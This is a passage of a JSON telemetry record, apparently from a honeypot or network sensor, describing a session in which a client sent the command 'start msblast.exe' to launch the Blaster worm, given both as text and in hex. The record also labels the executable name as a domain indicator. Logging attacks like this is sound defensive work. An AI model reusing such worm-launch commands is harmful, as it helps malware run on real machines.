start msblast.exe\n","payload_hex":"7374617274206d73626c6173742e6578650a","method":"","user_agent":"","ja3":"","session":"404c765d-e9f9-41b3-8cf2-35606c725925","seq":2,"duration_ms":21100,"bytes_in":53,"bytes_out":26,"enriched":{"digest":"e51f275f063ad5b7","strings":["start msblast.exe"],"iocs":{"domains":["msblast.exe"]}}}],"http_methods":[],"distinct_ports_total":2,"top_paths":[],"distinct_paths_total":0,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[],"credentials":[],"header_profile":null,"tags":[]}